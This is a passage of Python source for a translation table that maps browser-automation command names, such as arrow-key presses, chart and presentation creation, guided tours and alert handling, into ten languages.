"선택되어_있는지" md["is_selected"][7] = "é_selecionado" md["is_selected"][8] = "выбран" md["is_selected"][9] = "está_seleccionado" md["press_up_arrow"] = ["*"] * num_langs md["press_up_arrow"][0] = "press_up_arrow" md["press_up_arrow"][1] = "按向上箭头" md["press_up_arrow"][2] = "druk_op_pijl_omhoog" md["press_up_arrow"][3] = "appuyer_sur_flèche_haut" md["press_up_arrow"][4] = "premere_la_freccia_su" md["press_up_arrow"][5] = "上矢印を押します" md["press_up_arrow"][6] = "위쪽_화살표를_누릅니다" md["press_up_arrow"][7] = "pressione_a_seta_para_cima" md["press_up_arrow"][8] = "нажмите_стрелку_вверх" md["press_up_arrow"][9] = "presione_la_flecha_hacia_arriba" md["press_down_arrow"] = ["*"] * num_langs md["press_down_arrow"][0] = "press_down_arrow" md["press_down_arrow"][1] = "按向下箭头" md["press_down_arrow"][2] = "druk_op_pijl_omlaag" md["press_down_arrow"][3] = "appuyer_sur_flèche_bas" md["press_down_arrow"][4] = "premere_la_freccia_giù" md["press_down_arrow"][5] = "下矢印を押します" md["press_down_arrow"][6] = "아래쪽_화살표를_누르십시오" md["press_down_arrow"][7] = "pressione_a_seta_para_baixo" md["press_down_arrow"][8] = "нажмите_стрелку_вниз" md["press_down_arrow"][9] = "presione_la_flecha_hacia_abajo" md["press_left_arrow"] = ["*"] * num_langs md["press_left_arrow"][0] = "press_left_arrow" md["press_left_arrow"][1] = "按向左箭头" md["press_left_arrow"][2] = "druk_op_pijl_links" md["press_left_arrow"][3] = "appuyer_sur_flèche_gauche" md["press_left_arrow"][4] = "premere_la_freccia_sinistra" md["press_left_arrow"][5] = "左矢印を押します" md["press_left_arrow"][6] = "왼쪽_화살표를_누르십시오" md["press_left_arrow"][7] = "pressione_a_seta_esquerda" md["press_left_arrow"][8] = "нажмите_стрелку_влево" md["press_left_arrow"][9] = "presione_la_flecha_izquierda" md["press_right_arrow"] = ["*"] * num_langs md["press_right_arrow"][0] = "press_right_arrow" md["press_right_arrow"][1] = "按向右箭头" md["press_right_arrow"][2] = "druk_op_pijl_rechts" md["press_right_arrow"][3] = "appuyer_sur_flèche_droite" md["press_right_arrow"][4] = "premere_la_freccia_destra" md["press_right_arrow"][5] = "右矢印を押します" md["press_right_arrow"][6] = "오른쪽_화살표를_누르십시오" md["press_right_arrow"][7] = "pressione_a_seta_direita" md["press_right_arrow"][8] = "нажмите_стрелку_вправо" md["press_right_arrow"][9] = "presione_la_flecha_derecha" md["click_visible_elements"] = ["*"] * num_langs md["click_visible_elements"][0] = "click_visible_elements" md["click_visible_elements"][1] = "单击可见元素" md["click_visible_elements"][2] = "klik_zichtbare_elementen" md["click_visible_elements"][3] = "cliquer_éléments_visibles" md["click_visible_elements"][4] = "clic_sugli_elementi_visibili" md["click_visible_elements"][5] = "表示要素をクリックします" md["click_visible_elements"][6] = "페이지_요소를_클릭_합니다" md["click_visible_elements"][7] = "clique_nos_elementos_visíveis" md["click_visible_elements"][8] = "нажмите_видимые_элементы" md["click_visible_elements"][9] = "clic_en_elementos_visibles" md["select_option_by_text"] = ["*"] * num_langs md["select_option_by_text"][0] = "select_option_by_text" md["select_option_by_text"][1] = "按文本选择选项" md["select_option_by_text"][2] = "optie_selecteren_op_tekst" md["select_option_by_text"][3] = "sélectionner_option_par_texte" md["select_option_by_text"][4] = "selezionare_opzione_per_testo" md["select_option_by_text"][5] = "テキストでオプションを選択" md["select_option_by_text"][6] = "텍스트로_옵션_선택" md["select_option_by_text"][7] = "selecionar_opção_por_texto" md["select_option_by_text"][8] = "выбрать_опцию_по_тексту" md["select_option_by_text"][9] = "seleccionar_opción_por_texto" md["select_option_by_index"] = ["*"] * num_langs md["select_option_by_index"][0] = "select_option_by_index" md["select_option_by_index"][1] = "按索引选择选项" md["select_option_by_index"][2] = "optie_selecteren_op_index" md["select_option_by_index"][3] = "sélectionner_option_par_index" md["select_option_by_index"][4] = "selezionare_opzione_per_indice" md["select_option_by_index"][5] = "インデックスでオプションを選択" md["select_option_by_index"][6] = "인덱스별로_옵션_선택" md["select_option_by_index"][7] = "selecionar_opção_por_índice" md["select_option_by_index"][8] = "выбрать_опцию_по_индексу" md["select_option_by_index"][9] = "seleccionar_opción_por_índice" md["select_option_by_value"] = ["*"] * num_langs md["select_option_by_value"][0] = "select_option_by_value" md["select_option_by_value"][1] = "按值选择选项" md["select_option_by_value"][2] = "optie_selecteren_op_waarde" md["select_option_by_value"][3] = "sélectionner_option_par_valeur" md["select_option_by_value"][4] = "selezionare_opzione_per_valore" md["select_option_by_value"][5] = "値でオプションを選択" md["select_option_by_value"][6] = "값별로_옵션_선택" md["select_option_by_value"][7] = "selecionar_opção_por_valor" md["select_option_by_value"][8] = "выбрать_опцию_по_значению" md["select_option_by_value"][9] = "seleccionar_opción_por_valor" md["create_presentation"] = ["*"] * num_langs md["create_presentation"][0] = "create_presentation" md["create_presentation"][1] = "创建演示文稿" md["create_presentation"][2] = "maak_een_presentatie" md["create_presentation"][3] = "créer_une_présentation" md["create_presentation"][4] = "creare_una_presentazione" md["create_presentation"][5] = "プレゼンテーションを作成する" md["create_presentation"][6] = "프레젠테이션_만들기" md["create_presentation"][7] = "criar_uma_apresentação" md["create_presentation"][8] = "создать_презентацию" md["create_presentation"][9] = "crear_una_presentación" md["add_slide"] = ["*"] * num_langs md["add_slide"][0] = "add_slide" md["add_slide"][1] = "添加幻灯片" md["add_slide"][2] = "een_dia_toevoegen" md["add_slide"][3] = "ajouter_une_diapositive" md["add_slide"][4] = "aggiungere_una_diapositiva" md["add_slide"][5] = "スライドを追加する" md["add_slide"][6] = "슬라이드_추가" md["add_slide"][7] = "adicionar_um_slide" md["add_slide"][8] = "добавить_слайд" md["add_slide"][9] = "agregar_una_diapositiva" md["save_presentation"] = ["*"] * num_langs md["save_presentation"][0] = "save_presentation" md["save_presentation"][1] = "保存演示文稿" md["save_presentation"][2] = "de_presentatie_opslaan" md["save_presentation"][3] = "enregistrer_la_présentation" md["save_presentation"][4] = "salva_la_presentazione" md["save_presentation"][5] = "プレゼンテーションを保存する" md["save_presentation"][6] = "프레젠테이션_저장" md["save_presentation"][7] = "salvar_apresentação" md["save_presentation"][8] = "сохранить_презентацию" md["save_presentation"][9] = "guardar_presentación" md["begin_presentation"] = ["*"] * num_langs md["begin_presentation"][0] = "begin_presentation" md["begin_presentation"][1] = "开始演示文稿" md["begin_presentation"][2] = "de_presentatie_starten" md["begin_presentation"][3] = "démarrer_la_présentation" md["begin_presentation"][4] = "avviare_la_presentazione" md["begin_presentation"][5] = "プレゼンテーションを開始する" md["begin_presentation"][6] = "프레젠테이션_시작" md["begin_presentation"][7] = "iniciar_apresentação" md["begin_presentation"][8] = "начать_презентацию" md["begin_presentation"][9] = "iniciar_presentación" md["create_pie_chart"] = ["*"] * num_langs md["create_pie_chart"][0] = "create_pie_chart" md["create_pie_chart"][1] = "创建饼图" md["create_pie_chart"][2] = "maak_een_cirkeldiagram" md["create_pie_chart"][3] = "créer_un_graphique_à_secteurs" md["create_pie_chart"][4] = "creare_un_grafico_a_torta" md["create_pie_chart"][5] = "円グラフを作成する" md["create_pie_chart"][6] = "원형_차트_만들기" md["create_pie_chart"][7] = "criar_um_gráfico_de_pizza" md["create_pie_chart"][8] = "создать_круговую_диаграмму" md["create_pie_chart"][9] = "crear_un_gráfico_circular" md["create_bar_chart"] = ["*"] * num_langs md["create_bar_chart"][0] = "create_bar_chart" md["create_bar_chart"][1] = "创建条形图" md["create_bar_chart"][2] = "maak_een_staafdiagram" md["create_bar_chart"][3] = "créer_un_graphique_à_barres" md["create_bar_chart"][4] = "creare_un_grafico_a_barre" md["create_bar_chart"][5] = "棒グラフを作成する" md["create_bar_chart"][6] = "막대_차트_만들기" md["create_bar_chart"][7] = "criar_um_gráfico_de_barras" md["create_bar_chart"][8] = "создать_бар_диаграмму" md["create_bar_chart"][9] = "crear_un_gráfico_de_barras" md["create_column_chart"] = ["*"] * num_langs md["create_column_chart"][0] = "create_column_chart" md["create_column_chart"][1] = "创建柱形图" md["create_column_chart"][2] = "maak_een_kolomdiagram" md["create_column_chart"][3] = "créer_un_graphique_à_colonnes" md["create_column_chart"][4] = "creare_un_grafico_a_colonne" md["create_column_chart"][5] = "縦棒グラフを作成する" md["create_column_chart"][6] = "열_차트_만들기" md["create_column_chart"][7] = "criar_um_gráfico_de_colunas" md["create_column_chart"][8] = "создать_столбчатую_диаграмму" md["create_column_chart"][9] = "crear_un_gráfico_de_columnas" md["create_line_chart"] = ["*"] * num_langs md["create_line_chart"][0] = "create_line_chart" md["create_line_chart"][1] = "创建折线图" md["create_line_chart"][2] = "maak_een_lijndiagram" md["create_line_chart"][3] = "créer_un_graphique_linéaire" md["create_line_chart"][4] = "creare_un_grafico_a_linee" md["create_line_chart"][5] = "折れ線グラフを作成する" md["create_line_chart"][6] = "선_차트_만들기" md["create_line_chart"][7] = "criar_um_gráfico_de_linhas" md["create_line_chart"][8] = "создать_линейную_диаграмму" md["create_line_chart"][9] = "crear_un_gráfico_de_líneas" md["create_area_chart"] = ["*"] * num_langs md["create_area_chart"][0] = "create_area_chart" md["create_area_chart"][1] = "创建面积图" md["create_area_chart"][2] = "maak_een_vlakdiagram" md["create_area_chart"][3] = "créer_un_graphique_en_aires" md["create_area_chart"][4] = "creare_un_grafico_ad_area" md["create_area_chart"][5] = "面グラフを作成する" md["create_area_chart"][6] = "영역_차트_만들기" md["create_area_chart"][7] = "criar_um_gráfico_de_área" md["create_area_chart"][8] = "создать_диаграмму_области" md["create_area_chart"][9] = "crear_un_gráfico_de_área" md["add_series_to_chart"] = ["*"] * num_langs md["add_series_to_chart"][0] = "add_series_to_chart" md["add_series_to_chart"][1] = "将系列添加到图表" md["add_series_to_chart"][2] = "reeksen_toevoegen_aan_grafiek" md["add_series_to_chart"][3] = "ajouter_séries_au_graphique" md["add_series_to_chart"][4] = "aggiungere_serie_al_grafico" md["add_series_to_chart"][5] = "グラフに系列を追加する" md["add_series_to_chart"][6] = "차트에_시리즈_추가" md["add_series_to_chart"][7] = "adicionar_séries_ao_gráfico" md["add_series_to_chart"][8] = "добавить_серии_в_диаграмму" md["add_series_to_chart"][9] = "agregar_series_al_gráfico" md["add_data_point"] = ["*"] * num_langs md["add_data_point"][0] = "add_data_point" md["add_data_point"][1] = "添加数据点" md["add_data_point"][2] = "gegevenspunt_toevoegen" md["add_data_point"][3] = "ajouter_un_point_de_données" md["add_data_point"][4] = "aggiungi_punto_dati" md["add_data_point"][5] = "データポイントを追加する" md["add_data_point"][6] = "데이터_포인트_추가" md["add_data_point"][7] = "adicionar_ponto_de_dados" md["add_data_point"][8] = "добавить_точку_данных" md["add_data_point"][9] = "agregar_punto_de_datos" md["save_chart"] = ["*"] * num_langs md["save_chart"][0] = "save_chart" md["save_chart"][1] = "保存图表" md["save_chart"][2] = "grafiek_opslaan" md["save_chart"][3] = "enregistrer_le_graphique" md["save_chart"][4] = "salva_il_grafico" md["save_chart"][5] = "グラフを保存する" md["save_chart"][6] = "차트_저장" md["save_chart"][7] = "salvar_gráfico" md["save_chart"][8] = "сохранить_диаграмму" md["save_chart"][9] = "guardar_gráfico" md["display_chart"] = ["*"] * num_langs md["display_chart"][0] = "display_chart" md["display_chart"][1] = "显示图表" md["display_chart"][2] = "grafiek_weergeven" md["display_chart"][3] = "afficher_le_graphique" md["display_chart"][4] = "mostra_il_grafico" md["display_chart"][5] = "グラフを表示する" md["display_chart"][6] = "차트_표시" md["display_chart"][7] = "exibir_gráfico" md["display_chart"][8] = "отображать_диаграмму" md["display_chart"][9] = "muestra_gráfico" md["extract_chart"] = ["*"] * num_langs md["extract_chart"][0] = "extract_chart" md["extract_chart"][1] = "提取图表" md["extract_chart"][2] = "grafiek_uitpakken" md["extract_chart"][3] = "extraire_le_graphique" md["extract_chart"][4] = "estrarre_il_grafico" md["extract_chart"][5] = "グラフを抽出する" md["extract_chart"][6] = "차트_추출" md["extract_chart"][7] = "extrair_gráfico" md["extract_chart"][8] = "извлекать_диаграмму" md["extract_chart"][9] = "extracto_gráfico" md["create_tour"] = ["*"] * num_langs md["create_tour"][0] = "create_tour" md["create_tour"][1] = "创建游览" md["create_tour"][2] = "maak_een_tour" md["create_tour"][3] = "créer_une_visite" md["create_tour"][4] = "creare_un_tour" md["create_tour"][5] = "ツアーを作成する" md["create_tour"][6] = "가이드_투어_만들기" md["create_tour"][7] = "criar_um_tour" md["create_tour"][8] = "создать_тур" md["create_tour"][9] = "crear_una_gira" md["create_shepherd_tour"] = ["*"] * num_langs md["create_shepherd_tour"][0] = "create_shepherd_tour" md["create_shepherd_tour"][1] = "创建SHEPHERD游览" md["create_shepherd_tour"][2] = "maak_een_shepherd_tour" md["create_shepherd_tour"][3] = "créer_une_visite_shepherd" md["create_shepherd_tour"][4] = "creare_un_tour_shepherd" md["create_shepherd_tour"][5] = "SHEPHERDツアーを作成する" md["create_shepherd_tour"][6] = "가이드_SHEPHERD_투어_만들기" md["create_shepherd_tour"][7] = "criar_um_tour_shepherd" md["create_shepherd_tour"][8] = "создать_SHEPHERD_тур" md["create_shepherd_tour"][9] = "crear_una_gira_shepherd" md["create_bootstrap_tour"] = ["*"] * num_langs md["create_bootstrap_tour"][0] = "create_bootstrap_tour" md["create_bootstrap_tour"][1] = "创建BOOTSTRAP游览" md["create_bootstrap_tour"][2] = "maak_een_bootstrap_tour" md["create_bootstrap_tour"][3] = "créer_une_visite_bootstrap" md["create_bootstrap_tour"][4] = "creare_un_tour_bootstrap" md["create_bootstrap_tour"][5] = "BOOTSTRAPツアーを作成する" md["create_bootstrap_tour"][6] = "가이드_BOOTSTRAP_투어_만들기" md["create_bootstrap_tour"][7] = "criar_um_tour_bootstrap" md["create_bootstrap_tour"][8] = "создать_BOOTSTRAP_тур" md["create_bootstrap_tour"][9] = "crear_una_gira_bootstrap" md["create_driverjs_tour"] = ["*"] * num_langs md["create_driverjs_tour"][0] = "create_driverjs_tour" md["create_driverjs_tour"][1] = "创建DRIVERJS游览" md["create_driverjs_tour"][2] = "maak_een_driverjs_tour" md["create_driverjs_tour"][3] = "créer_une_visite_driverjs" md["create_driverjs_tour"][4] = "creare_un_tour_driverjs" md["create_driverjs_tour"][5] = "DRIVERJSツアーを作成する" md["create_driverjs_tour"][6] = "가이드_DRIVERJS_투어_만들기" md["create_driverjs_tour"][7] = "criar_um_tour_driverjs" md["create_driverjs_tour"][8] = "создать_DRIVERJS_тур" md["create_driverjs_tour"][9] = "crear_una_gira_driverjs" md["create_hopscotch_tour"] = ["*"] * num_langs md["create_hopscotch_tour"][0] = "create_hopscotch_tour" md["create_hopscotch_tour"][1] = "创建HOPSCOTCH游览" md["create_hopscotch_tour"][2] = "maak_een_hopscotch_tour" md["create_hopscotch_tour"][3] = "créer_une_visite_hopscotch" md["create_hopscotch_tour"][4] = "creare_un_tour_hopscotch" md["create_hopscotch_tour"][5] = "HOPSCOTCHツアーを作成する" md["create_hopscotch_tour"][6] = "가이드_HOPSCOTCH_투어_만들기" md["create_hopscotch_tour"][7] = "criar_um_tour_hopscotch" md["create_hopscotch_tour"][8] = "создать_HOPSCOTCH_тур" md["create_hopscotch_tour"][9] = "crear_una_gira_hopscotch" md["create_introjs_tour"] = ["*"] * num_langs md["create_introjs_tour"][0] = "create_introjs_tour" md["create_introjs_tour"][1] = "创建INTROJS游览" md["create_introjs_tour"][2] = "maak_een_introjs_tour" md["create_introjs_tour"][3] = "créer_une_visite_introjs" md["create_introjs_tour"][4] = "creare_un_tour_introjs" md["create_introjs_tour"][5] = "INTROJSツアーを作成する" md["create_introjs_tour"][6] = "가이드_INTROJS_투어_만들기" md["create_introjs_tour"][7] = "criar_um_tour_introjs" md["create_introjs_tour"][8] = "создать_INTROJS_тур" md["create_introjs_tour"][9] = "crear_una_gira_introjs" md["add_tour_step"] = ["*"] * num_langs md["add_tour_step"][0] = "add_tour_step" md["add_tour_step"][1] = "添加游览步骤" md["add_tour_step"][2] = "toevoegen_tour_stap" md["add_tour_step"][3] = "ajouter_étape_à_la_visite" md["add_tour_step"][4] = "aggiungere_passo_al_tour" md["add_tour_step"][5] = "ツアーステップを追加する" md["add_tour_step"][6] = "둘러보기_단계_추가" md["add_tour_step"][7] = "adicionar_passo_para_o_tour" md["add_tour_step"][8] = "добавить_шаг_в_тур" md["add_tour_step"][9] = "agregar_paso_a_la_gira" md["play_tour"] = ["*"] * num_langs md["play_tour"][0] = "play_tour" md["play_tour"][1] = "播放游览" md["play_tour"][2] = "speel_de_tour" md["play_tour"][3] = "jouer_la_visite" md["play_tour"][4] = "riprodurre_il_tour" md["play_tour"][5] = "ツアーを再生する" md["play_tour"][6] = "가이드_투어를하다" md["play_tour"][7] = "jogar_o_tour" md["play_tour"][8] = "играть_тур" md["play_tour"][9] = "reproducir_la_gira" md["export_tour"] = ["*"] * num_langs md["export_tour"][0] = "export_tour" md["export_tour"][1] = "导出游览" md["export_tour"][2] = "de_tour_exporteren" md["export_tour"][3] = "exporter_la_visite" md["export_tour"][4] = "esportare_il_tour" md["export_tour"][5] = "ツアーをエクスポートする" md["export_tour"][6] = "가이드_투어_내보내기" md["export_tour"][7] = "exportar_o_tour" md["export_tour"][8] = "экспортировать_тур" md["export_tour"][9] = "exportar_la_gira" md["get_pdf_text"] = ["*"] * num_langs md["get_pdf_text"][0] = "get_pdf_text" md["get_pdf_text"][1] = "获取PDF文本" md["get_pdf_text"][2] = "pdf_tekst_ophalen" md["get_pdf_text"][3] = "obtenir_texte_pdf" md["get_pdf_text"][4] = "ottenere_testo_pdf" md["get_pdf_text"][5] = "PDFテキストを取得" md["get_pdf_text"][6] = "PDF_텍스트를_검색" md["get_pdf_text"][7] = "obter_texto_pdf" md["get_pdf_text"][8] = "получить_текст_PDF" md["get_pdf_text"][9] = "obtener_texto_pdf" md["assert_pdf_text"] = ["*"] * num_langs md["assert_pdf_text"][0] = "assert_pdf_text" md["assert_pdf_text"][1] = "断言PDF文本" md["assert_pdf_text"][2] = "controleren_pdf_tekst" md["assert_pdf_text"][3] = "vérifier_texte_pdf" md["assert_pdf_text"][4] = "verificare_testo_pdf" md["assert_pdf_text"][5] = "PDFテキストを確認する" md["assert_pdf_text"][6] = "PDF_텍스트_확인" md["assert_pdf_text"][7] = "verificar_texto_pdf" md["assert_pdf_text"][8] = "подтвердить_текст_PDF" md["assert_pdf_text"][9] = "verificar_texto_pdf" md["assert_downloaded_file"] = ["*"] * num_langs md["assert_downloaded_file"][0] = "assert_downloaded_file" md["assert_downloaded_file"][1] = "检查下载的文件" md["assert_downloaded_file"][2] = "controleren_gedownloade_bestand" md["assert_downloaded_file"][3] = "vérifier_fichier_téléchargé" md["assert_downloaded_file"][4] = "verificare_file_scaricato" md["assert_downloaded_file"][5] = "ダウンロードしたファイルを確認する" md["assert_downloaded_file"][6] = "다운로드한_파일_확인" md["assert_downloaded_file"][7] = "verificar_arquivo_baixado" md["assert_downloaded_file"][8] = "подтвердить_загруженный_файл" md["assert_downloaded_file"][9] = "verificar_archivo_descargado" md["fail"] = ["*"] * num_langs md["fail"][0] = "fail" md["fail"][1] = "失败" md["fail"][2] = "mislukken" md["fail"][3] = "échouer" md["fail"][4] = "fallire" md["fail"][5] = "失敗" md["fail"][6] = "실패" md["fail"][7] = "falhar" md["fail"][8] = "провалить" md["fail"][9] = "fallar" md["get"] = ["*"] * num_langs md["get"][0] = "get" md["get"][1] = "获取" md["get"][2] = "ophalen" md["get"][3] = "obtenir" md["get"][4] = "ottenere" md["get"][5] = "を取得する" md["get"][6] = "받기" md["get"][7] = "obter" md["get"][8] = "получить" md["get"][9] = "obtener" md["visit"] = ["*"] * num_langs md["visit"][0] = "visit" md["visit"][1] = "访问" md["visit"][2] = "bezoek" md["visit"][3] = "visiter" md["visit"][4] = "visita" md["visit"][5] = "を訪問" md["visit"][6] = "방문" md["visit"][7] = "visitar" md["visit"][8] = "посетить" md["visit"][9] = "visita" md["visit_url"] = ["*"] * num_langs md["visit_url"][0] = "visit_url" md["visit_url"][1] = "访问网址" md["visit_url"][2] = "bezoek_url" md["visit_url"][3] = "visiter_url" md["visit_url"][4] = "visita_url" md["visit_url"][5] = "URLを訪問" md["visit_url"][6] = "방문_URL" md["visit_url"][7] = "visitar_url" md["visit_url"][8] = "посетить_URL" md["visit_url"][9] = "visita_url" md["get_element"] = ["*"] * num_langs md["get_element"][0] = "get_element" md["get_element"][1] = "获取元素" md["get_element"][2] = "element_ophalen" md["get_element"][3] = "obtenir_élément" md["get_element"][4] = "ottenere_elemento" md["get_element"][5] = "要素を取得する" md["get_element"][6] = "요소_검색" md["get_element"][7] = "obter_elemento" md["get_element"][8] = "получить_элемент" md["get_element"][9] = "obtener_elemento" md["find_element"] = ["*"] * num_langs md["find_element"][0] = "find_element" md["find_element"][1] = "查找元素" md["find_element"][2] = "vind_element" md["find_element"][3] = "trouver_élément" md["find_element"][4] = "trovare_elemento" md["find_element"][5] = "要素を見つける" md["find_element"][6] = "요소를_찾을" md["find_element"][7] = "encontrar_elemento" md["find_element"][8] = "найти_элемент" md["find_element"][9] = "encontrar_elemento" md["remove_element"] = ["*"] * num_langs md["remove_element"][0] = "remove_element" md["remove_element"][1] = "删除第一个元素" md["remove_element"][2] = "verwijder_element" md["remove_element"][3] = "supprimer_élément" md["remove_element"][4] = "rimuovere_elemento" md["remove_element"][5] = "最初の要素を削除" md["remove_element"][6] = "첫_번째_요소_제거" md["remove_element"][7] = "remover_elemento" md["remove_element"][8] = "удалить_элемент" md["remove_element"][9] = "eliminar_elemento" md["remove_elements"] = ["*"] * num_langs md["remove_elements"][0] = "remove_elements" md["remove_elements"][1] = "删除所有元素" md["remove_elements"][2] = "verwijder_elementen" md["remove_elements"][3] = "supprimer_éléments" md["remove_elements"][4] = "rimuovere_elementi" md["remove_elements"][5] = "すべての要素を削除" md["remove_elements"][6] = "모든_요소_제거" md["remove_elements"][7] = "remover_elementos" md["remove_elements"][8] = "удалить_элементы" md["remove_elements"][9] = "eliminar_elementos" md["find_text"] = ["*"] * num_langs md["find_text"][0] = "find_text" md["find_text"][1] = "查找文本" md["find_text"][2] = "vind_tekst" md["find_text"][3] = "trouver_texte" md["find_text"][4] = "trovare_testo" md["find_text"][5] = "テキストを見つける" md["find_text"][6] = "텍스트_찾기" md["find_text"][7] = "encontrar_texto" md["find_text"][8] = "найти_текст" md["find_text"][9] = "encontrar_texto" md["set_text"] = ["*"] * num_langs md["set_text"][0] = "set_text" md["set_text"][1] = "设置文本" md["set_text"][2] = "tekst_instellen" md["set_text"][3] = "définir_texte" md["set_text"][4] = "impostare_testo" md["set_text"][5] = "テキストを設定する" md["set_text"][6] = "텍스트_설정" md["set_text"][7] = "definir_texto" md["set_text"][8] = "набор_текст" md["set_text"][9] = "establecer_texto" md["get_attribute"] = ["*"] * num_langs md["get_attribute"][0] = "get_attribute" md["get_attribute"][1] = "获取属性" md["get_attribute"][2] = "kenmerk_ophalen" md["get_attribute"][3] = "obtenir_attribut" md["get_attribute"][4] = "ottenere_attributo" md["get_attribute"][5] = "属性を取得する" md["get_attribute"][6] = "특성_검색" md["get_attribute"][7] = "obter_atributo" md["get_attribute"][8] = "получить_атрибут" md["get_attribute"][9] = "obtener_atributo" md["set_attribute"] = ["*"] * num_langs md["set_attribute"][0] = "set_attribute" md["set_attribute"][1] = "设置属性" md["set_attribute"][2] = "kenmerk_instellen" md["set_attribute"][3] = "définir_attribut" md["set_attribute"][4] = "imposta_attributo" md["set_attribute"][5] = "属性を設定する" md["set_attribute"][6] = "특성_설정" md["set_attribute"][7] = "definir_atributo" md["set_attribute"][8] = "набор_атрибута" md["set_attribute"][9] = "establecer_atributo" md["set_attributes"] = ["*"] * num_langs md["set_attributes"][0] = "set_attributes" md["set_attributes"][1] = "设置所有属性" md["set_attributes"][2] = "kenmerken_instellen" md["set_attributes"][3] = "définir_attributs" md["set_attributes"][4] = "impostare_gli_attributi" md["set_attributes"][5] = "すべての属性を設定" md["set_attributes"][6] = "모든_특성_설정" md["set_attributes"][7] = "definir_atributos" md["set_attributes"][8] = "набор_атрибутов" md["set_attributes"][9] = "establecer_atributos" md["type"] = ["*"] * num_langs md["type"][0] = "type" md["type"][1] = "输入文本" md["type"][2] = "typ" md["type"][3] = "taper" md["type"][4] = "digitare" md["type"][5] = "入力" md["type"][6] = "입력" md["type"][7] = "tipo" md["type"][8] = "введите" md["type"][9] = "escriba" md["write"] = ["*"] * num_langs md["write"][0] = "write" md["write"][1] = "写文本" md["write"][2] = "schrijven" md["write"][3] = "écriver" md["write"][4] = "scrivere" md["write"][5] = "書く" md["write"][6] = "쓰다" md["write"][7] = "escreva" md["write"][8] = "написать" md["write"][9] = "escribir" md["set_messenger_theme"] = ["*"] * num_langs md["set_messenger_theme"][0] = "set_messenger_theme" md["set_messenger_theme"][1] = "设置消息主题" md["set_messenger_theme"][2] = "thema_van_bericht_instellen" md["set_messenger_theme"][3] = "définir_thème_du_message" md["set_messenger_theme"][4] = "impostare_tema_del_messaggio" md["set_messenger_theme"][5] = "メッセージのスタイルを設定する" md["set_messenger_theme"][6] = "메시지_테마_설정" md["set_messenger_theme"][7] = "definir_tema_da_mensagem" md["set_messenger_theme"][8] = "набор_тему_сообщения" md["set_messenger_theme"][9] = "establecer_tema_del_mensaje" md["post_message"] = ["*"] * num_langs md["post_message"][0] = "post_message" md["post_message"][1] = "显示讯息" md["post_message"][2] = "bericht_weergeven" md["post_message"][3] = "afficher_message" md["post_message"][4] = "visualizza_messaggio" md["post_message"][5] = "メッセージを表示する" md["post_message"][6] = "메시지를_표시" md["post_message"][7] = "exibir_mensagem" md["post_message"][8] = "показать_сообщение" md["post_message"][9] = "mostrar_mensaje" md["_print"] = ["*"] * num_langs md["_print"][0] = "_print" md["_print"][1] = "打印" md["_print"][2] = "afdrukken" md["_print"][3] = "imprimer" md["_print"][4] = "stampare" md["_print"][5] = "印刷" md["_print"][6] = "인쇄" md["_print"][7] = "imprimir" md["_print"][8] = "печатать" md["_print"][9] = "imprimir" md["deferred_assert_element"] = ["*"] * num_langs md["deferred_assert_element"][0] = "deferred_assert_element" md["deferred_assert_element"][1] = "推迟断言元素" md["deferred_assert_element"][2] = "uitgestelde_controleren_element" md["deferred_assert_element"][3] = "reporté_vérifier_élément" md["deferred_assert_element"][4] = "differita_verificare_elemento" md["deferred_assert_element"][5] = "を延期する要素を確認する" md["deferred_assert_element"][6] = "연기된_요소_확인" md["deferred_assert_element"][7] = "adiada_verificar_elemento" md["deferred_assert_element"][8] = "отложенный_подтвердить_элемент" md["deferred_assert_element"][9] = "diferido_verificar_elemento" md["deferred_assert_text"] = ["*"] * num_langs md["deferred_assert_text"][0] = "deferred_assert_text" md["deferred_assert_text"][1] = "推迟断言文本" md["deferred_assert_text"][2] = "uitgestelde_controleren_tekst" md["deferred_assert_text"][3] = "reporté_vérifier_texte" md["deferred_assert_text"][4] = "differita_verificare_testo" md["deferred_assert_text"][5] = "を延期するテキストを確認する" md["deferred_assert_text"][6] = "연기된_텍스트_확인" md["deferred_assert_text"][7] = "adiada_verificar_texto" md["deferred_assert_text"][8] = "отложенный_подтвердить_текст" md["deferred_assert_text"][9] = "diferido_verificar_texto" md["process_deferred_asserts"] = ["*"] * num_langs md["process_deferred_asserts"][0] = "process_deferred_asserts" md["process_deferred_asserts"][1] = "处理推迟断言" md["process_deferred_asserts"][2] = "verwerken_uitgestelde_controleren" md["process_deferred_asserts"][3] = "effectuer_vérifications_reportées" md["process_deferred_asserts"][4] = "elaborare_differita_verificari" md["process_deferred_asserts"][5] = "遅延アサーションの処理" md["process_deferred_asserts"][6] = "연기된_검증_처리" md["process_deferred_asserts"][7] = "processar_verificações_adiada" md["process_deferred_asserts"][8] = "обработки_отложенных_подтверждений" md["process_deferred_asserts"][9] = "procesar_verificaciones_diferidas" md["accept_alert"] = ["*"] * num_langs md["accept_alert"][0] = "accept_alert" md["accept_alert"][1] = "接受警报" md["accept_alert"][2] = "waarschuwing_accepteren" md["accept_alert"][3] = "accepter_alerte" md["accept_alert"][4] = "accetta_avviso" md["accept_alert"][5] = "アラートを受け入れる" md["accept_alert"][6] = "경고를_수락" md["accept_alert"][7] = "aceitar_alerta" md["accept_alert"][8] = "принять_оповещение" md["accept_alert"][9] = "aceptar_alerta" md["dismiss_alert"] = ["*"] * num_langs md["dismiss_alert"][0] = "dismiss_alert" md["dismiss_alert"][1] = "解除警报" md["dismiss_alert"][2] = "waarschuwing_wegsturen" md["dismiss_alert"][3] = "rejeter_alerte" md["dismiss_alert"][4] = "elimina_avviso" md["dismiss_alert"][5] = "アラートを却下" md["dismiss_alert"][6] = "경고를_거부" md["dismiss_alert"][7] = "demitir_alerta" md["dismiss_alert"][8] = "увольнять_оповещение" md["dismiss_alert"][9] = "descartar_alerta" md["switch_to_alert"] = ["*"] * num_langs md["switch_to_alert"][0] = "switch_to_alert" md["switch_to_alert"][1] = "切换到警报" md["switch_to_alert"][2] = "overschakelen_naar_waarschuwing" md["switch_to_alert"][3] = "passer_à_alerte" md["switch_to_alert"][4] = "passa_al_avviso" md["switch_to_alert"][5] = "アラートに切り替え" md["switch_to_alert"][6] = "경고로_전환" md["switch_to_alert"][7] = "mudar_para_alerta" md["switch_to_alert"][8] = "переключиться_на_оповещение" md["switch_to_alert"][9] = "cambiar_a_alerta" md["drag_and_drop"] = ["*"] * num_langs md["drag_and_drop"][0] = "drag_and_drop" md["drag_and_drop"][1] = "拖放" md["drag_and_drop"][2] = "slepen_en_neerzetten" md["drag_and_drop"][3] = "glisser_et_déposer" md["drag_and_drop"][4] = "trascinare_e_rilasciare" md["drag_and_drop"][5] = "ドラッグアンドドロップ" md["drag_and_drop"][6] = "드래그_앤_드롭" md["drag_and_drop"][7] = "arrastar_e_soltar" 